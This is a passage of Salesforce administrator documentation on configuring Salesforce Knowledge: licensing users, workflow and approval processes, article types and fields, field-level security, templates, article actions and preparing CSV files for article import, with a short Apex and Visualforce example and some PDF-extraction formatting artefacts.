Creating and Assigning Salesforce Knowledge Users The Salesforce Knowledge feature license is indicated by the Knowledge User checkbox on the user detail page. If it does not appear, verify that your organization has purchased enough feature licenses. To create or assign Salesforce Knowledge users: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Manage Users > Users. Click Edit next to the user's name or click New to create a new user. If you are creating a new user, complete all the required fields. Select the Knowledge User checkbox. Verify that the user has the correct profile based on the permissions required. Click Save. Note: To create portal users, see About Customer Portal User Management on page 1570 or About Partner Portal User Management on page 3076. Public knowledge base visitors do not require authenticated access once the public knowledge base has been created. Assigning Article Actions to Public Groups The Manage Articles user permission provides Salesforce Knowledge users with access to all the article actions available from the Article Management tab, including publishing, translating, and archiving articles. You can control article action access by assigning public groups to article actions. Then, you add Salesforce Knowledge users who need to perform an article action to the article action's public group. For example, you might create a public group called Superusers and assign it to the Delete Translated Articles action. Only article managers who are members of Superuser can delete translated articles. See Assigning Article Actions to Public Groups on page 1397 for more information on limiting access to article actions by assigning them to public groups.

Creating Salesforce Knowledge Workflow Rules and Approval Processes

1378

Customize

Creating Salesforce Knowledge Workflow Rules and Approval Processes

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view workflow rules and approval processes: To create or change workflow rules and approval processes: View Setup and Configuration Customize Application

Creating workflow rules and approval processes lets your organization automate many of the tasks involved with managing its knowledge base. When implementing Salesforce Knowledge, you can create workflow rules and approval processes for some or all of the article types used by your organization. Workflow rules let you create email alerts, update fields, or send outbound API messages when some sort of criteria is met by an article. For example, you could create a workflow rule that sends an email alert to the article type owner when a new article is created from a case. Note that tasks are not supported by article type workflow. Approval processes automate the approval of articles. When implemented with Salesforce Knowledge, approval processes give you additional control over the content of your articles and the process used to approve them. For example, you can create a process that requires legal and management teams to approve articles containing sensitive information. Creating Workflow Rules for Article Types To create workflow rules for article types: 1. 2. 3. 4. Select the object to which the workflow rule applies. Configure the workflow rule settings and criteria. Configure the workflow actions. Activate the workflow rule. Note: Tasks aren't available for article type workflow rules.

Creating Approval Processes for Article Types Before you create an approval process, determine which wizard to use. For more information, see Choosing an Approval Process Wizard on page 1691. To create an approval process: 1. 2. 3. 4. Launch the Approval Process Wizard. Specify Name, Unique Name, and Description. Specify Criteria for Entering Process. Specify Approver Field and Record Editability. Note: Although the Jump Start Wizard gives you the option to assign approval requests to a queue, queues aren't available for article types. 5. 6. 7. 8. Select Email or Chatter Post Notification Template. Configure Approval Request Page Layout. Specify Initial Submitters. Activate the Approval Process.

1379

Customize

Creating Salesforce Knowledge Workflow Rules and Approval Processes

Tips for Creating Approval Processes


Keep the following in mind when creating approval processes for article types. Adding an approval process to an article type lets your organization ensure that the required reviewers approve the article before it's published. When an approval process is enabled for an article's article type, the Approval History related list displays on the article details page. When creating an approval process, change the final approval action to Unlock the record for editing to allow users to publish the article. For More information, see Final Approval Actions on page 1706. Articles aren't published automatically at the end of an approval process. Users must click Publish... to make the article available in the publishing channel(s). When an approval process is associated with an article type, users with the Manage Articles permission might see both the Publish... and the Submit for Approval buttons from an article's detail page (which buttons they see is determined by both permissions and article actions). These users can publish an article without submitting it for approval. To prevent this from affecting many users, assign the Publish Articles article action to a limited group of users instead of giving it to all users with the Manage Articles permission. For more information, see Assigning Article Actions to Public Groups on page 1397. You'll still want to make sure that the users with direct publishing capability know which articles need approval before publication. Article approvers require the Manage Articles permission and at least the Read permission on the article type associated with articles they review. These permissions let them access the article in a draft state. Without these permissions, approvers can reassign but not approve articles. Workflow rules and approval processes apply to the Draft to Publication portion of the article publishing cycle. Approval processes aren't available for translation or archiving. Note: When an article is published from the edit page, the article is first saved and then published. Workflow rules apply to the the saved draft article but not the published article.

See Also:
Approval Processes Overview Approval Process Considerations Notes on Using Workflow Rules Setting Up Salesforce Knowledge

Customizing Salesforce Knowledge

1380

Customize

Customizing Salesforce Knowledge

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create article types and article actions: Customize Application AND Manage Salesforce Knowledge To manage synonyms: To create data categories: Manage Synonyms Manage Data Categories

Depending on how you want to customize Salesforce Knowledge, such as integrating the knowledge base with cases or giving portal users access to articles, complete the following optional steps. Set up workflow rules or approvals processes for some or all article types to help your organization manage article creation and publication. Enable multiple languages if your organization will translate and publish articles in more than one language. If you have an existing knowledge base, import your articles into Salesforce Knowledge. Enable Salesforce Knowledge in the Customer Portal to make articles visible to portal users. Enable Salesforce Knowledge in the partner portal to make articles visible to portal users. Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords. Add the Articles related list to case page layouts. The Articles related list lets users search for articles while working on a case. You can also allow case users to: Attach PDF versions of articles to case emails. Create articles when closing a case. View a list of suggested articles based on case information. To allow users to follow articles in Chatter, enable feed tracking for article types. If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with Salesforce Knowledge.

Customizing Salesforce Knowledge Settings

1381

Customize

Customizing Salesforce Knowledge Settings

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Salesforce Knowledge: Customize Application

Note: Before enabling Salesforce Knowledge, you must create at least one article type.

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and view the articles they need. For more information, see What is Salesforce Knowledge? on page 2869. Click Your Name > Setup > Customize > Knowledge > Settings. If Salesforce Knowledge has not been enabled in your organization, an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the following optional settings: Choose the language(s) for your knowledge base The Default Knowledge-Base Language should be the primary language used for writing articles. It defaults to your organization's language. If you will publish articles in more than one language, select Multiple Languages and choose the translation settings. For instructions, see Setting up a Multilingual Knowledge Base on page 1418. Show article summaries in article list views For each channel, decide whether an article's Summary details should display on the Articles tab. Allow users to create an article when closing a case If checked, users adding case-close information can create a draft article that is automatically attached to the case when the article is published. The article type you choose determines which fields appear on the draft article, and you can help agents create articles more quickly by selecting an Apex class that pre-populates any of the fields on the draft. By default the Title field in all draft articles contains the case subject. If you enable this option, also click Layout Properties on each case-close page layout and select Enable submissions during case close and Submit Articles. Use a profile to create customer-ready article PDFs on cases By default, when a user creates an article PDF directly from a case, the PDF includes all the article fields visible to that user. If you want PDFs to be generated according to a different profile, for example, a profile that hides certain fields from customers, select Use a profile to create customer-ready article PDFs on cases and choose the profile that should determine field visibility. Allow users to create an article from a reply If checked, members of an answers community can convert helpful replies into articles. The article type you select determines which fields appear on the draft article, but on all articles the Title contains the question and the Summary

1382

Customize

Customizing Salesforce Knowledge Settings

contains the reply. After a reply is promoted to an article, the original reply has a status message indicating its association with the draft article. When the article is published, the message on the reply includes a link to the article.

See Also:
What is Salesforce Knowledge? Setting Up Salesforce Knowledge Useful Salesforce Knowledge Terminology Example Apex Customization for Submitting Articles from Cases

Example Apex Customization for Submitting Articles from Cases


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Salesforce Knowledge settings: To create an Apex class: Customize Application Author Apex

Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. If your organization allows customer-support agents to create Salesforce Knowledge articles while closing a case, you can use Apex to pre-populate fields on draft articles. To do so, create an Apex class and assign it to the case article type using the example below as a guide. For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide. Set up the example by creating the following article type, field, and data categories. Do not change the default API Name assigned to each new object. 1. 2. 3. 4. Create an article type called FAQ. Create a text custom field called Details. Create a category group called Geography and assign it a category called USA. Create a category group called Topics and assign it a category called Maintenance.

To finish the example, create and assign the Apex class: 1. Go to the Your Name > Setup > Develop > Apex Classes page and click New. 2. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components

1383

Customize

Customizing Salesforce Knowledge Settings

or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 3. In the Apex Class text box enter the following script and click Save:
public class AgentContributionArticleController { // The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument public AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController ctl) { SObject article = ctl.getRecord(); //this is the SObject for the new article. //It can optionally be cast to the proper article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord(); String sourceId = ctl.getSourceId(); //this returns the id of the case that was closed. Case c = [select subject, description from Case where id=:sourceId]; article.put('title', 'From Case: '+c.subject); //this overrides the default behavior of pre-filling the title of the article with the subject of the closed case. article.put('Details__c',c.description); ctl.selectDataCategory('Geography','USA'); //Only one category per category group can be specified. ctl.selectDataCategory('Topics','Maintenance'); }

4. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit. 5. Verify the case settings; using our example, the Default article type should be FAQ. 6. From the Use Apex Customization menu, select AgentContributionArticleController and click Save. As a result of this example, when agents create an article from the case-close screen: The data from the Description field on the case appears in the Details field of the article. The title of the article contains From Case: and the case subject. The article is automatically assigned to the USA data category and the Maintenance data category.

See Also:
Setting Up Salesforce Knowledge Apex Code Overview

Managing Article Types

1384

Customize

Managing Article Types

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article types: Customize Application AND Manage Salesforce Knowledge

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format and structure to control how an article displays for each audience, known as a channel. For each article type you can create custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You can also create workflow rules and approval processes to help your organization track and manage article creation and publication. See Managing Workflow and Approvals on page 1636 for more information. After creating your article types, you can customize, edit, and delete them. Click Your Name > Setup > Customize > Knowledge > Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization. From the Article Types list page you can: Click New Article Type to define an article type. Click the article-type name to display the detail page. On the detail page you can edit existing fields, add new custom fields, add and edit sections on the article-type layout, and select a template for each channel. Click Del to delete an article type.

See Also:
Defining Article Types Using the Fields Related List Modifying Article-Type Layouts Assigning Article-Type Templates

Defining Article Types

1385

Customize

Defining Article Types

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article types: Customize Application AND Manage Salesforce Knowledge

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format and structure to control how an article displays for each audience, known as a channel. For each article type you can create custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You can also create workflow rules and approval processes to help your organization track and manage article creation and publication. See Managing Workflow and Approvals on page 1636 for more information. Note: Before users can access article types, an administrator must set object permissions for article types. For more information, see Object Permissions on page 551. To create an article type: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Click New Article Type or edit an existing article type. 3. Enter the following: Field
Label

Description A name used to refer to the article type in any user interface pages. The plural name of the object. If you create a tab for this object, this name is used for the tab. If it is appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender. Your personal language preference setting does not affect whether the field appears. For example, if the organizations default language is English and your personal language is French, you are not prompted for gender when creating an article type. If it is appropriate for your organizations default language, check if your label should be preceded by "an" instead of "a." (Read only) A unique name used to refer to the article type when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The Object Name field can contain only underscores and alphanumeric characters. It must be unique,

Plural Label

Gender

Starts with a vowel sound

Object Name

1386

Customize

Defining Article Types

Field

Description begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

Description

An optional description of the article type. A meaningful description will help you remember the differences between your article types when you are viewing them in a list. Indicates whether the article type is visible outside Setup. In Development means article managers cannot choose this article type when creating articles. Only select Deployed after you are done creating the article type.

Deployment Status

4. Click Save. 5. On the article type detail page, complete the following information: In the Fields related list, create or modify custom fields as needed. In the Fields related list, edit the article-type layout as needed to rearrange fields and create sections. In the Channel Displays related list, choose a template for the internal app, Customer Portal, public knowledge base, and partner portal.

See Also:
Adding Custom Fields to Article Types Modifying Article-Type Layouts Assigning Article-Type Templates Useful Salesforce Knowledge Terminology

Using the Fields Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: To modify article-type layouts Customize Application Manage Salesforce Knowledge

On the Fields related list on the article-type detail page, you can: Edit the Article Number, Summary, Title, and URL Name standard fields. These fields are required on all article types and cannot be deleted.

1387

Customize

Defining Article Types

Click New to create a custom field. All article types should have at least one rich text area field for writing article text and a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review the custom fields for article types. Click Edit Layout to rearrange or remove fields and modify sections for the article type.

See Also:
Adding Custom Fields to Article Types Custom Field Types on Articles Modifying Article-Type Layouts Setting an Article's Field-Level Security

Adding Custom Fields to Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: Customize Application AND Manage Salesforce Knowledge

Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom field you want to create. The only standard fields provided on article types are Article Number, Summary, Title, and URL Name, so at minimum you'll want to create a field where authors can write the body of the article. Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end users viewing published articles. To add a custom field: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Knowledge > Article Types. Select an article type. Click New in the Fields related list. Choose the type of field to create, and click Next. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name is not identical to any standard field name for that object. 6. Enter any field attributes, such as Description, and click Next to continue. Note: You cannot enter a default value for any custom field.

1388

Customize

Defining Article Types

7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles, and click Next. Field-level security allows you to control which fields are visible in different channels. 8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom field to the layout. 9. Click Save to finish or Save & New to create more custom fields. 10. Optionally rearrange your custom fields on the article-type layout. Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed. Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not convert a custom field on an article type unless no data exists for the field.

See Also:
Changing Custom Field Type Setting an Article's Field-Level Security Modifying Article-Type Layouts Assigning Article-Type Templates Useful Salesforce Knowledge Terminology

Setting an Article's Field-Level Security


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set field-level security: Customize Application AND Manage Salesforce Knowledge

Field-level security lets administrators restrict users access to specific fields on detail and edit pages. For example, you can make a Comment field in an article visible for Internal App profiles but not for Customer Portal profiles. If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout overrides security settings and the field won't be visible. Some user permissions override both page layouts and field-level security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support.

1389

Customize

Defining Article Types

To define field-level security: 1. Define security via a permission set, profile, or field. For permission sets or profiles: a. Select Your Name > Setup > Manage Users, then click Permission Sets or Profiles. b. Select a permission set or profile. c. Depending on which interface you're using, do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section. Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify, and then click Edit. For fields: a. Select Your Name > Setup > Customize > Knowledge > Article Types. b. Select the article type that contains the field to modify. c. Select the field and click Set Field-Level Security. 2. Specify the field's access level. Note: These field access settings override any less-restrictive field access settings on the article-type layouts.

3. Click Save. After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.

See Also:
Adding Custom Fields to Article Types Modifying Article-Type Layouts Useful Salesforce Knowledge Terminology

Custom Field Types on Articles


The first step in creating a custom field for articles is choosing the field type. The following custom field types are available. Field Type Date Description Allows users to enter a date or pick a date from a popup calendar. In reports, you can limit the data by specific dates using any custom date field. Allows users to enter a date or pick a date from a popup calendar, and enter a time of day. They can also add the current date and time by clicking the date and time link next to the field. The time of day includes AM or PM notation. In

Date/Time

1390

Customize

Defining Article Types

Field Type

Description reports, you can limit the data by specific dates and times using any custom date field.

File

Allows users to upload and attach a file to an article. Note the following caveats about File fields: The maximum attachment size is 5 MB. You can add up to 5 File fields to each article type; contact Salesforce to increase these limits. If the Disallow HTML documents and attachments security setting is enabled, File fields do not support HTML files. Text content in a File field attachment is searchable. You can search up to 25 MB of attached files on an article. For example, if an article has six 5MB file attachments, the first 4.16 MB of each file is searchable. You cannot attach Salesforce CRM Content files using the File field. The File field type is not supported in Developer edition. The filename cannot exceed 40 characters. You cannot convert a File field type into any other data type. Allows users to select a value from a list you define. Allows users to select more than one picklist value from a list you define. These fields display each value separated by a semicolon. Allows users to enter any combination of letters, numbers, or symbols. You can set a maximum length, up to 255 characters. Allows users to enter up to 255 characters that display on separate lines similar to a Description field. Allows users to enter up to 32,768 characters that display on separate lines similar to a Description field. You can set the length of this field type to a lower limit, if desired. Any length from 256 to 32,768 characters is allowed. Note that every time you press Enter within a long text area field, a linebreak and a return character are added to the text. These two characters count toward the 32,768 character limit. This data type is not available for activities or products on opportunities.

Picklist Picklist (Multi-select)

Text Text Area Text Area (Long)

1391

Customize

Defining Article Types

Field Type Text Area (Rich)

Description Allows users to enter up to 32,768 characters of HTML-supported text. See Using Rich Text Area Fields on page 1014.

See Also:
Changing Custom Field Type Useful Salesforce Knowledge Terminology Adding Custom Fields to Article Types

Modifying Article-Type Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize the article-type layout: Customize Application AND Manage Salesforce Knowledge

Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose a different template for each of the article type's four channels. Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as Internal Comments from Customer Portal users. To modify an article-type layout: 1. 2. 3. 4. Click Your Name > Setup > Customize > Knowledge > Article Types. Select one of the article types in the list. In the Fields related list, click Edit Layout. When working on the layout: The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion of the screen. The palette contains the available fields and a section element. The layout contains an Information section and space for you to add sections. By default, all custom fields are included in the Information section.

1392

Customize

Defining Article Types

Note: The Article Number, Summary, Title, and URL Name standard fields do not display in the layout. Article Number and Summary appear in a read-only Properties section at the top of the published article. Also included in this header are the First Published, Last Modified, and Last Published fields. To add a new section, drag and drop the section element into the palette To change the name of a section, click its title. You cannot rename the Information section. To remove a field from a section, drag it to the right side of the palette or click the icon next to the field. To remove a section from the article-type layout, click the icon next to the section name. Use the undo and redo buttons to step backwards and forwards, respectively. Use the following keyboard shortcuts: Undo = CTRL+Z Redo = CTRL+Y Quick Save = CTRL+S To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click . To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type layouts that have large numbers of items available in the palette. To save your changes and continue editing the article-type layout, click Quick Save. To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from your article-type layout before clicking save, your changes will be lost.

See Also:
Defining Article Types Adding Custom Fields to Article Types Setting an Article's Field-Level Security Assigning Article-Type Templates

Assigning Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit article-type template assignments: Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel. The article-type template specifies how the sections defined in the article-type layout are rendered. Salesforce provides two standard article-type templates, Tab and Table of Contents, and you can use Visualforce to create custom templates. If you choose the Tab template, the sections you defined in the layout appear as tabs when users view an article.

1393

Customize

Defining Article Types

Figure 7: Published Article Using the Tab Article-Type Template If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to each section title.

Figure 8: Published Article Using the Table of Contents Article-Type Template To choose the template assignment for a channel: 1. 2. 3. 4. Click Your Name > Setup > Customize > Knowledge > Article Types. Click a label to view the article-type detail page. In the Channel Displays related list, click Edit. For each channel, specify the template. For the internal app and the portals, Tab is the default template. For the public knowledge base, Table of Contents is the default template. If your organization has a custom template for this article type, it also appears in the drop-down menu. 5. Click Save.

See Also:
Modifying Article-Type Layouts Defining Article Types Useful Salesforce Knowledge Terminology

Creating Custom Article-Type Templates

1394

Customize

Defining Article Types

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article-type templates: Customize Application AND Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel. The standard article-type templatesTab and Table of Contentsspecify how the sections in the article-type layout appear in the published article. For example, if you choose the Tab template, the sections defined in the layout appear as tabs when users view an article. With the Table of Contents template, sections appear on a single page with hyperlinks to each section. You can also create a custom template using Visualforce. Custom templates are not associated with the article-type layout. To create a custom article-type template: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Find the article type you are creating the template for and click its title to open the detail page. Note the article type's API Name. You will need this value when you create the Visualforce page. 3. Click Your Name > Setup > Develop > Pages. 4. Click New. 5. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. In the Label text box enter the text that users will see when choosing this template from the Channel Displays related list on the article type detail page. 7. Add your Visualforce markup. The only requirement for custom article-type templates is that the standard controller be equal to the API Name of the article type. For example, if the API Name of the article type is Offer__kav, your markup would be:
<apex:page standardController="Offer__kav"> ... page content here ... </apex:page>

Note: Click Component Reference for a list of the Visualforce components, such as knowledge:articleRendererToolbar and knowledge:articleCaseToolbar, available for use in custom article-type templates. 8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload, Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click me</apex:outputLink>

1395

Customize

Defining Article Types

Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published article but has no function. If you do not want the link to appear when the File field is empty, replace Click me in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}. 9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type Templates on page 1393 for details.

See Also:
Developer's Guide: Visualforce Developer's Guide Managing Visualforce Pages Managing Article Types Useful Salesforce Knowledge Terminology

Deleting Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete article types: Customize Application AND Manage Salesforce Knowledge

To delete an article type: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Next to the target article type, click Del. 3. Confirm that you want to delete the article type. Notes on Deleting Article Types Note the following about deleting article types: If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed article type. Create a new article type and then delete the old one. Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published, and archived articles. Salesforce does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article types appear in the Deleted Article Types list on the article list view page for 45 days. During this time you can restore the article type and its articles, or permanently erase the article type and its articles. After 45 days, the article type and its articles are permanently erased.

1396

Customize

Assigning Article Actions to Public Groups

If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.

See Also:
Defining Article Types Useful Salesforce Knowledge Terminology

Assigning Article Actions to Public Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create public groups and assign them to article actions: Customize Application AND Manage Users AND Manage Salesforce Knowledge

Article actions allow users to manage the article publishing and translation processes. By default all article actions are assigned to users with the Manage Articles user permission, and users can complete an action as long as they also have the correct article type permissions (as described in the table below). You can set up more granular control of article actions by restricting them to public groups. This table summarizes the article type permissions that are required for each article action. Article Action Publish Articles Archive Articles Edit Published and Archived Articles Submit Articles for Translation Publish Translation Edit Translation Create Read Edit Delete

To assign article actions to public groups: 1. Create a public group for each set of users.

1397

Customize

Assigning Article Actions to Public Groups

Note: Although you can add any Salesforce user to a public group, only users with the Manage Articles user permission and the appropriate object permissions can perform article actions. 2. Click Your Name > Setup > Customize > Knowledge > Article Actions and decide which users need to perform which actions. For example, you might decide that a group named Publishers needs to publish, archive, and delete articles and that a group named Translators needs to submit articles for translation and publish and archive translated articles. 3. Assign the public groups to article actions: a. On the Your Name > Setup > Customize > Knowledge > Article Actions page click Edit. b. For the action you want to modify, select the appropriate radio button and choose a public group. If you don't modify an article action, all users with the Manage Articles permission can perform that action. c. Click OK and Save.

See Also:
Creating and Editing Groups Setting Up Salesforce Knowledge User Permissions Defining Article Types

Importing Articles

1398

Customize

Importing Articles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

You can import your existing articles and their translations into Salesforce Knowledge. This importer is for articles and translations you currently have outside Salesforce Knowledge. Note: If you are looking for instructions on importing translated articles that you've sent to a localization vendor, see Importing Article Translations on page 1410. After setting up Salesforce Knowledge, complete the tasks below to import articles: 1. 2. 3. 4. 5. Prepare Articles for Import to Salesforce Knowledge Create a .csv File for Article Import Specify Parameters for Article Import Create a .zip File for Article Import View Salesforce Knowledge Import and Export Status

See Also:
What is Salesforce Knowledge? Setting Up Salesforce Knowledge

Prepare Articles for Import to Salesforce Knowledge

1399

Customize

Importing Articles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

It is important to remember that you must import articles one article type at a time. To prepare articles for importing: 1. Sort your existing articles by information type. For example: FAQ, product information, or offer. 2. Ensure that each information type has a corresponding Salesforce Knowledge article type that matches its structure and content. For example, if you are importing FAQs, ensure that Salesforce Knowledge has an FAQ article type with enough question and answer fields to accommodate the largest FAQ article. 3. Verify that the article's field-level security settings allow you to edit the fields. If your articles contain .html files, use an article type that contains a rich text area field and ensure that the HTML is compliant with the tags and attributes supported in the rich text area field. Tip: Test your import using a small set of articles.

See Also:
Importing Articles Create a .csv File for Article Import

Create a .csv File for Article Import

1400

Customize

Importing Articles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Each .csv file imports articles into one article type and maps the imported articles' content with the article type's fields. For example, a .csv file might map articles' titles with the standard field Title in an article type, meaning that each article's title is imported into the Title field. 1. Create one .csv file per article type. .csv files cant have more than 10,000 rows, including the header row. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB. Each article in the .csv file cant have more than 49 translations.

2. In the first row, specify the article type's fields and metadata (such as language data categories or channels). Enter one item in each column. You can use the following fields and metadata to import content: isMasterLanguageidentify the article as a master (1) or translation (0). Required to import articles with translations, however, it cant be in a .csv file to import articles without translations. Translations must follow their master articles so that they are associated with the master article preceding it. Titlethe article or translations title. Required for all imports. Standard or custom fieldsrefer to an article type's standard fields using field names and refer to custom fields using API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory. Rich text area fielduse the rich text area custom fields to import .html files or images. Refer to an article type's rich text area field using its API name. File fielduse the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field using its API name.

1401

Customize

Importing Articles

To categorize the imported articles, use category groups; refer to a category group using its unique name prefixed with datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products. To specify where the imported articles are available, use the keyword Channels. Languagespecify the articles' language. Required to import articles with translations. Optional to import articles without translations. If you don't include this column, the articles will automatically belong to the default knowledge base language and you cant import translations along with the master articles.

3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information in each article type field column or metadata column. Standard or custom fieldsenter the articles' data for each field, except for rich text area fields where you must enter the relative path to the corresponding .html file in your .zip file. Rich text area fieldalways enter the .html file path relative to the location of the .csv file. Never enter raw text. If the specified path doesn't exist, the related article isn't imported. Note the following information about importing HTML and images: We recommend that you create separate folders for the .html files (for example, /data) and the images (for example, data/images). To import images, include the images in an .html file using the <img> tag and src attribute. Ensure that the src value is a relative path from the .html file to the image folder. Images must be .png, .gif, or .jpeg files. Each image file cant exceed 1 MB. .html files cant exceed the maximum size for their field. If a date doesn't match the date format specified in the property file, the related article isn't imported. If an .html file references a file that isn't allowed, the related article isn't imported. If an .html file references an image that's missing, the related article is imported without the image. File fieldenter the path relative to the file's location. If the specified path doesn't exist, the related article isn't imported. Note the following information about importing files: We recommend that you create a folder for your files (for example, /files). Each file must not exceed 5 MB. Category groupsuse category unique names to categorize articles. Use the plus symbol (+) to specify more than one category. For example, Laptop+Desktop. Note the following information about data category groups: Leaving the cell row empty causes your article to be set to No Categories. If you specify a category and its parent (for example, Europe+France) the import process skips the child category France and keeps the parent category Europe, because application of a parent category implicitly includes the category's children. When importing articles with translations and associated data categories, only the master article retains the data categories. The article translations have no associated data category upon import. Channelsspecify articles' channels using the keywords:
application for the internal application. If you don't specify a channel, application is the default. sites for a public knowledge base. csp for the Customer Portal. prm for the partner portal.

1402

Customize

Importing Articles

